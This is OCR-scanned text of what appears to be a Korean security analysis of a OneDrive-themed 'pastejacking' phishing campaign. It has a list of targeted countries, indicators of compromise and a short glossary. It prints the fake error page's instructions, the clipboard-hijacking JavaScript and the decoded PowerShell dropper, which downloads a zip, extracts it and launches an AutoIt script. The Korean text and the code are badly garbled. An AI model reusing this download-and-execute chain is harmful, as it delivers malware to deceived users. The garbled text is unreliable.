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Error 0x8004de86.

.(
" . .
Failed to connect to the "OneDrive” cloud service, to fix the error, you need to update

the DNS cache manually

Use B8 + X keyboard shartcut, and then use "Windows Powershell/Terminal®, click *Ctrl + V* & "Enter” in
the appeared window

Error 0x8004de86 : OneDrive M4 Gl 2 0IA| 2HMSH £ Ql= @2 AL
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TARGETED COUNTRIES

® United States
» South Korea
» Germany
India
= Ireland
w Italy
= Norway
= United Kingdom

= Unknown Or
Unspecified
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[‘Details” HHE 28 Al 94 HE)

Error 0x8004de86 Failed to connect to the "OneDrive" cloud service, to fix the error,
you need to update the DNS cache manually.

Use "Windows Key" + "X" keyboard shortcut, and then use "Windows Powershell

/Terminal”, click "Ctrl + V" & "Enter" in the appeared windows.

["How to Fix" HHE 28 A| EA| HE]

i
oo ZetE js" 2B ES GD 248 282

funcotion GD()

{
var Jl = document.getElementById( ):
Ji.style.display = 3
var 1ls = document.getElementById( ):
1s.select():
document . execCommand ( ¥

window.getSelection() .removeAllRanges()

§ (document) . ready (fuanction()

var ide = S(this).accr (" ):
var p3 = atob(ide):

St ) .val(p3):
$( ) .cas( o )2

setTimeout (function()

ss(
as("d: } ’ ):

00

¥
&
). ):

$ (document) .on( , function(event)

if('S$(event.target) . .closesc (" ) .length
[ {
alert( ):
)
1)

["How to Fix" HE 28 A| E2|H E[&= GD &=
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St1l execCommand HIMEO|AM C|2E & HHES S EHEER

ipconfig /finshdns

foasstd =

*JGo41D0gImhOdH

XNz R:'v".x?ui)l.:lva)l;}z:z‘-'ilﬂm
VeLldpbmRyd3MuRmaybXMEKTaNC1tTeXNO

iex

Sec-Clipboard ~Value " "™

exit;

$i8 = ":.t:;:;;.-"kc::.'.n:.’..'.l;h:::';::.:c:.."..z;:';

$aV = "c;\\downloads";

Neﬂ-llzm -IvenType Directory -Fu-.. -Path SaV;
Invoke-WebRequest -Uri $318 -QuoFile SaV\M.zip:
Clear-Hoat:

Expand-Archive $mV\fM.zip ~Force -deatinationpath $mV:
Remove-Item -Path GmV\EM.21p;

Start-Process § citd.exs SmV\script.adx

System.Reflection.Assembly) ::LoadWithPartialNams (*System.Windows, Forms");

(3ystem.Windows, Forms MessageBox): :Show("The cperation completed successfully, please reload the page®, "System®, 0, €4);
Clear-Host;

[EEEEE SAE= 3(Rl) / CIZEE EZ(0taH)]
=

+ 324 42| PC 2| PowerShell 0| A “ipconfig /flushdns"E& A&5H0| D
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MME| "downloads” ZC{0f| O}7I0|E miYS CIREE T 0

script.a3x” 5 “Autolt3.exe’"2 T&

= X7|86tn, 1 = C E2IO0|E0] “downloads"Et= EHE d4.

+ FET "Autoltd.exe’ 7t HAL|H S HIOA = Y0 SSHUCHE HAIXLE

SHA| Qb Q| 7F ZEHEl AR E “script.a3x’'S M

“The operation completed successfully, Please reload the page”

[SAXS| &g AT EHE 28 & AEXOA #AIZ= HAIKX]

1.1.4 &8l X[® (Indicators of Compromise)

Indicator type Indicator

Domain hxxps://kostumn1[.]ilabserver[.Jcom

FileHash-MD5 d6faabbd1732517f260d94feb3cdbfc2

FileHash-MD5 1152103edc64ddee7ead4e07cd5dd78ae

FileHash-MD5 ef082ddcbf5c94f1da1d2026d36b6b3f
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FileHash-MD5 55cf60a640fc773a7c38de9c5e44da30
FileHash-MD5 cf16271bfe826db5ef0c1a67433a619f
FileHash-MD5 7f5c82eadbaadecbba2b004fbafada3
FileHash-MD5 328110e6c36cd70edacbbea395c40b18
FileHash-MD5 363b4f9fdb1e2a5926037b207caecfe5
FileHash-MD5 b183269587055f35cb23d2d33ff3f5fa
FileHash-MD5 2df579460a76631836d108578af4caab
FileHash-MD5 0e36¢f2719295596da0c7ef10b11df15
FileHash-MD5 1eda7707ef4e03f0b1ab6b6fb96757a6
FileHash-MD5 d524addd18d8014d72abb9dd172e782d
FileHash-MD5 ef9d05bb8a24bec1d94123c90b1268bb
FileHash-MD5 4341f0372eda93afce82908014f420d9
FileHash-MD5 30997b5e63297c58c4f9fe73c8c200ac
FileHash-MD5 eed2174f5b87d58b1b0baeale509e141
FileHash-MD5 deaf955bbf5d66db200e366ae3563eab
FileHash-MD5 cac3c4005f952293b38302199494759a
FileHash-MD5 fca4c1908da892161bbf09f1437dade7
FileHash-MD5 beb8a50f67424c3b70cb56fc8833d246
FileHash-MD5 04cdff477585cb0747ecd20052f03c2e
FileHash-MD5 404bd47f17d482e139e64d0106b8888d
FileHash-MD5 7a7d09b4bcd75bc7d7badd3c117596f7
FileHash-MD5 a1846e262d900f56f4a7d5f51100ecd44
FileHash-MD5 dfa96717b69fa69d264a60b9de36f078
FileHash-MD5 253cdeabd5e429832f9bbd7f37dd0798
FileHash-MD5 c56b5f0201a3b3de53e561fe76912bfd
FileHash-MD5 763d557c3e4c57f7d6132a444a930386
FileHash-MD5 d0ad617ed1812822eebc9592d49a575¢
FileHash-MD5 1ff108f1bfb39b21db5f1d4f7ad56bf2
FileHash-MD5 96bb795d111717109fac22f8433c7e27
FileHash-MD5 0852c3e7903dd3b1db6abb232c33a25a
FileHash-MD5 e0768bce522927eb89f74750e09f2a1c
FileHash-MD5 7133ae7dd452aa6469c85e236a59159¢
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https://www.trellix.com/blogs/research/onedrive-pastejacking/
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BH O (Malware): ZFE|, A, 22H0|HE, HFRE HE/HIR SIS 72 =
Ue B= *“E°J|01°| 5%

I|4 (Phishing): TXIH E= HAMME Sl M2 = A= AR = 7[R0
S HAXIQ AN E 7f Stof, H|2H s S MEFIE YHe 20| 7|2S K5t=
HEE BHIA P22+ social engineering 3242| 3t T

At3] B8t (Social Engineering): 7| =% Q1 Y& 0| Ofl A
ME|E V[EIe = MRS £0 H|2 HEE =25

9|4 (PowerShell): O}O| A2 AT EJ} 723t At 7h53t 2 = QIE 0| A
atob & Javascript 0| A Base64 = QI3 T & dot= &

A6l X|& (Indicators of Compromise): C|X| 2 HSjAIDE 2A S LE
O H5t=H AHEEl= EOiX|E(Hash, URL, IP 5)
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